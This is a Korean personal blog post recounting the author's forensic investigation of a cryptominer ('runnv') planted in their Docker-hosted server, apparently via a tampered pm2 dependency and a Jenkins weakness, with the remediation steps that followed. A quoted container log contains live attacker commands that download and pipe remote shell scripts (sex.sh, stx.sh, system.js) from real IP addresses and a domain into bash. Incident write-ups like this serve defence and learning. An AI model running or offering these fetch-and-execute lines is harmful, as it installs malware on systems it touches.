본문 바로가기
개발/스터디

서버 해킹

by Lajancia 2025. 12. 14.
728x90
반응형

해킹은 해킹인데 하는게 아니라 당한쪽

얼마 전 갑작스럽게 운영중인 서버가 아예 중단되는 사건이 있었다. 필자의 경우 클라우드 서버를 호스팅하여 사용중이기 때문에, 곧장 서버 상태를 모니터링하고자 오랜만에 hostinger dashboard로 향했다. 그럤더니 웬걸, 악성코드가 확인되어 서버를 긴급 셧다운 했다는 것이었다.

 
신기한 일이다. 물론 개인 서버다 보니 포트도 좀 마구잡이로 열어두기도 했고, nginx에 안 붙어 있는 서비스도 있었다. 어차피 내년에 또 저렴한 서버로 옮길 생각을 하고 있었다 보니 안일하게 대처한 것이었는데, 그걸 또 어떻게 뚫고 들어온 모양이었다.
 
그러나 이미 엎질러진 물. 긴급 서버 중단으로 인해 컨테이너건 뭐건 다 떨어진 상황에서 이왕 이렇게 된거 뭘 하기 위해 이 작은 구멍가게 서버까지 찾아왔는지 파볼 예정이었다.
 

우리집에 왜 왔니....

우선 저 path에 설치한 것이 무엇일까. 이 구석진 서버에 찾아와 돌리려던 파일이 무엇을 하는지 알아낸다면 목적을 알아낼 수 있을 것이었다. 언제부터 내 서버에 숨죽인 채 악성코드를 실행시키려 대기를 했는지 알 수 없었던 탓에, 파일이 발견되기 전 일자를 조금 넉넉하게 하여, container에 남아있는 흔적을 좇았다.
 
사용한 명령어는 아래와 같다.

awk '/2025-11-18/,/2025-12-11/' /var/lib/docker/containers/*/*-json.log   | grep -Ei "wget|curl|runnv"
file /var/lib/docker/overlay2/ae735560946d539f110308251bac895db14aa2ca494e4b28ec8ebe15cefcd350/diff/tmp/runnv/runnv

 

# 1. 해시값 계산 (악성코드 DB 조회용)
sha256sum /var/lib/docker/overlay2/.../runnv/runnv

# 2. 사람이 읽을 수 있는 문자열 추출
strings /var/lib/docker/overlay2/.../runnv/runnv | less

# 3. 실행 파일 헤더 및 섹션 확인
readelf -h /var/lib/docker/overlay2/.../runnv/runnv
readelf -s /var/lib/docker/overlay2/.../runnv/runnv

# 4. 동작 추적 (격리된 VM/샌드박스 환경에서만!)
strace -o runnv_trace.log ./runnv
ltrace -o runnv_ltrace.log ./runnv

# 5. 네트워크 연결 여부 확인 (격리 환경에서)
tcpdump -i any -nn port 80 or port 443
  • ELF 64-bit 실행 파일 → 리눅스용 네이티브 바이너리.
  • Statically linked → 필요한 라이브러리를 전부 포함해서 빌드된 실행 파일이라, 외부 라이브러리 의존성이 거의 없습니다. 이는 보통 배포·은폐 목적의 악성코드에서 자주 쓰이는 방식.
  • Stripped → 심볼 정보(함수 이름, 디버깅 정보)가 제거되어 있어서 내부 동작을 추적하기 어렵게 만들어져 있다. 역시 악성 행위 은폐에 자주 사용됨.
  • BuildID → ad34d49d... 해시값은 빌드 시점에 자동 생성된 식별자. 이걸로도 특정 빌드와 매칭.

 
위의 명령어로 찾던 중 걸린 로그는 다음과 같았다.

{"log":"wget: can't open 'sex.sh': Permission denied\n","stream":"stderr","time":"2025-12-05T06:05:17.019235717Z"} {"log":" ⨯ [Error: Command failed: wget http://xx.xx.xx.xx:12000/sex.sh \u0026\u0026 bash sex.sh\n","stream":"stderr","time":"2025-12-05T06:05:17.109017882Z"} {"log":"wget: can't open 'sex.sh': Permission denied\n","stream":"stderr","time":"2025-12-05T06:05:17.10950992Z"} {"log":"wget: can't open 'sex.sh': Permission denied\n","stream":"stderr","time":"2025-12-05T22:20:39.404865048Z"} {"log":" ⨯ [Error: Command failed: wget http://xpertclient.net:3000/sex.sh \u0026\u0026 bash sex.sh\n","stream":"stderr","time":"2025-12-05T22:20:39.45398419Z"} {"log":"wget: can't open 'sex.sh': Permission denied\n","stream":"stderr","time":"2025-12-05T22:20:39.45439553Z"} {"log":" ⨯ [Error: Command failed: wget -qO- http://217.60.249.228:8000/stx.sh | bash\n","stream":"stderr","time":"2025-12-06T02:17:25.982095274Z"} {"log":" ⨯ [Error: Command failed: wget -qO- http://217.60.249.228:8000/stx.sh | bash\n","stream":"stderr","time":"2025-12-06T07:52:51.85013753Z"} {"log":"/bin/sh: curl: not found\n","stream":"stderr","time":"2025-12-06T21:09:46.484744337Z"} {"log":" ⨯ [Error: Command failed: wget -qO- --no-check-certificate https://74.48.61.237:31542/static/js/system.js | bash\n","stream":"stderr","time":"2025-12-07T16:09:06.176705326Z"}

 
음, 스크립트 이름도 매우 수상하고, 여러번 실행을 시도했다가 권한에 의해 실패한 것도 흥미롭다. ChatGPT에게 물어보니 아래와 같이 대답했다.

🔍 의미

  • 이는 컨테이너 내부가 이미 침입당했거나, 취약한 앱 코드가 원격 명령을 실행하도록 악용된 것을 보여줍니다.
  • sex.sh, stx.sh, system.js 같은 이름은 전형적인 크립토마이너 설치 스크립트나 백도어로 알려진 패턴입니다.
  • 즉, runnv와 같은 악성 실행 파일이 설치된 경로와 이 로그가 연결됩니다. → 공격자가 여러 번 시도했고, 일부는 실패했지만 성공한 흔적도 있을 가능성이 큽니다.

정리
/tmp/runnv

  • 이미 확인했던 악성 실행 파일. 컨테이너 writable 레이어에 심어진 상태.
  • systeminformation/lib/system.js (여러 overlay2 레이어에 반복됨)
    • pm2의 의존성 패키지인 systeminformation 모듈 내부 파일이 여러 레이어에서 덮어씌워져 있습니다.
    • 정상적인 systeminformation 모듈은 시스템 정보를 수집하는 라이브러리인데, 공격자가 이 파일을 변조해 악성 코드 실행을 끼워 넣는 경우가 많습니다.
    • 즉, npm 패키지 내부가 오염된 흔적입니다.

악성코드라는 판정을 받았다. 우선 이 스크립트가 어떤 조건에서 동작하는지 잘 모르다 보니, 일단 먼저 모든 권한을 몰수하고 격리시키는 것이 급선무였다.

// 격리
chmod 000 파일 경로

---------- 1 1003 65533    3172 Dec  7 20:34 config.json
---------- 1 1003 65533 8334576 Nov 19 05:32 runnv

mkdir -p /root/quarantine
mv /var/lib/docker/overlay2/.../runnv/runnv /root/quarantine/
mv /var/lib/docker/overlay2/.../runnv/config.json /root/quarantine/

권한을 전부 000으로 두어 읽기, 쓰기, 수정 모두 불가하게 만들어버렸다. 그리고 해당 파일 분석을 위해 별도의 폴더를 생성하여 무력화된 파일들을 옮겨둔 채 열어보았다.
 
내부에 있는 파일 내용을 대충 긁어 다시 ChatGPT에게 먹여보니, 코인 채굴 스크립트라고 한다. 

find / -name "sex.sh" -o -name "stx.sh" -o -name "system.js" -o -name "runnv"

 
해당 로그가 있었던 container를 찾아보니, 내가 테스트용으로 올려두고 내리는 걸 깜빡한 next.js 웹페이지였다. IP와 port가 그대로 노출된 상태에다 Nginx조차 없는 취약하디 취약한 웹페이지를 통해 원격으로 스크립트를 실행하려 한 것이다.
 
하지만 이상한 점이 있다. 필자의 모든 서비스는 도커 컨테이너 기반으로 동작한다. 그런데 이 악성 스크립트는 도커 overlay에 여러차례 덮어씌워져 있었다. 그리고 필자는, 이 기간 동안 빌드를 따로 수행한 적이 없다.
 
처음에는 패키지 오염, 특히 pm2 패키지 오염을 의심했지만 빌드 시점에 오염되었다면 이야기가 다르다. 해당 프론트엔드 애플리케이션 오염은 보다 상위에서 이뤄졌을 가능성이 있었다.

🔍 정리

  • 증거 1: system.js 변조와 /tmp/runnv 같은 파일이 이미지 레이어에 포함 → 빌드 단계에서 이미 오염.
  • 증거 2: Jenkins 컨테이너 로그에 wget … && bash sex.sh 같은 원격 스크립트 실행 시도 흔적 → Jenkins 파이프라인 내부에서 공격자가 임의 명령을 실행하려고 한 것.
  • 증거 3: 깃허브에서 가져온 Jenkinsfile은 깨끗했는데도 오염이 발생 → Jenkins 서버 자체가 침해돼 빌드 과정에 악성 코드가 삽입된 것.

다음과 같은 증거들을 토대로, 우선 jenkins 자체가 탈취된 것은 아니고, jenkins에서 취약점이 드러난 plugin을 통해 jenkins build에 흔적을 남기지 않고 pm2를 변조한 뒤, 가장 보안이 취약한 웹사이트를 통해 코인 채굴 스크립트를 실행하려 했던 것으로 보인다. 물론 plugin이 아니라 http 시절에 SSL인증 없이 webhook을 사용하도록 설정해둔 것이 우연히 걸려 webhook을 통해 접근해 온 걸수도 있을 것 같다. 이렇게 보니 구멍이 한 두군데가 아니다.
 
물론 해당 도전은 실패로 끝났다. 필자가 dockerfile로 빌드하는 애플리케이션에 대해 권한을 따로 두었기 때문이었다. 하지만 이번 기회에 마구잡이로 열어두었던 모든 포트들을 80과 443으로 제한하고 child domain name server로 대체할 필요가 생긴 것 같다. 이제는 jenkins와 grafana를 VPN 뒤로 숨기는 작업이 필요해진 것이다.
 
물론 한번에 하기는 어려우니, 우선은 제대로 추가 DNS를 발급하고 -> HTTPS 인증서를 추가 발급한 뒤 -> nginx를 세우는 것을 먼저 해두려 한다.

반응형

'개발 > 스터디' 카테고리의 다른 글

바이브 코딩  (3) 2025.06.01
1월 프론트엔드 개발자 뉴스 #2  (2) 2025.01.26
Docker 이미지 재사용에 관하여 - 1  (7) 2024.11.06
Grafana와 Prometheus  (1) 2024.10.01
AWS 용어를 알아보자  (6) 2024.09.28